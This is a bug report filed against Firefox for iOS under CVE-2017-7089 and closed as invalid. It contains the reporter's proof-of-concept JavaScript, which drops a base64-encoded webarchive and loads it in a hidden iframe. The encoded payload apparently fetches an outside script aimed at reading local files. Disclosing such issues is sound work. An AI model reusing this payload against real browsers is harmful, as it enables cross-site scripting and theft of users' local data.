1627865 - CVE-2017-7089 firefox ios issue

Status: RESOLVED INVALID

(Firefox for iOS :: General, defect)

Description

[u635660]

User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.163 Safari/537.36

Steps to reproduce:

go to https://nifty-albattani-7db520.netlify.com/

and then code gets excuted

Actual results:

so the good news is that firefox blocks the uxss which is good however the bad news is that firefox keeps on getting stuck at <script>
function CreateFrame(){
var iframe = document.createElement('iframe');
iframe.src="./Player.webarchive";
iframe.style="display:none";
document.documentElement.appendChild(iframe);
};
if (navigator.userAgent.indexOf('Safari') != -1 && navigator.userAgent.indexOf('Chrome') == -1){
var saveData = (function () {
var a = document.createElement("a");
document.documentElement.appendChild(a);
a.style = "display: none";
return function (data, fileName) {
var blob = new Blob([data], {type: "octet/stream"}),
url = window.URL.createObjectURL(blob);
a.href = url;
a.download = fileName;
a.click();
window.URL.revokeObjectURL(url);
setTimeout(CreateFrame, 1337);
};
}());

var data = atob('PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPCFET0NUWVBFIHBsaXN0IFBVQkxJQyAiLS8vQXBwbGUvL0RURCBQTElTVCAxLjAvL0VOIiAiaHR0cDovL3d3dy5hcHBsZS5jb20vRFREcy9Qcm9wZXJ0eUxpc3QtMS4wLmR0ZCI+Cgo8cGxpc3QgdmVyc2lvbj0iMS4wIj4KPGRpY3Q+Cgk8a2V5PldlYk1haW5SZXNvdXJjZTwva2V5PgoJPGRpY3Q+CgkJPGtleT5XZWJSZXNvdXJjZURhdGE8L2tleT4KCQk8ZGF0YT4KCQkJUEdoMGJXdytQR2hsWVdRK1BDOW9aV0ZrUGp4aWIyUjVQanh6WTNKcGNIUWdjM0pqUFNkb2RIUndjem8KCQkJdkwySnZNRzl0TG5KMUwzTmhabUZ5YVY5d2IyTXZjbVZoWkdacGJHVXVhbk1uUGp3dmMyTnlhWEIwUGoKCQkJd3ZZbTlrZVQ0OEwyaDBiV3crCgkJPC9kYXRhPgoJCTxrZXk+V2ViUmVzb3VyY2VGcmFtZU5hbWU8L2tleT4KCQk8c3RyaW5nPjwvc3RyaW5nPgoJCTxrZXk+V2ViUmVzb3VyY2VNSU1FVHlwZTwva2V5PgoJCTxzdHJpbmc+dGV4dC9odG1sPC9zdHJpbmc+CgkJPGtleT5XZWJSZXNvdXJjZVRleHRFbmNvZGluZ05hbWU8L2tleT4KCQk8c3RyaW5nPlVURi04PC9zdHJpbmc+CgkJPGtleT5XZWJSZXNvdXJjZVVSTDwva2V5PgoJCTxzdHJpbmc+ZmlsZTovLy88L3N0cmluZz4KCTwvZGljdD4KPC9kaWN0Pgo8L3BsaXN0Pgo='), //webarchive source
fileName = "Player.webarchive";
document.body.innerText="Loading...";

saveData(data, fileName);

what this means is that the broswer is in a loop which means this could be used to get access to Player.webarchive data such as media data etc

Expected results:

firefox should block this on first sight because other WebKit browsers block it from loading.

Comment 1

[u635660]

a crafted web site that is mishandled during parent-tab processing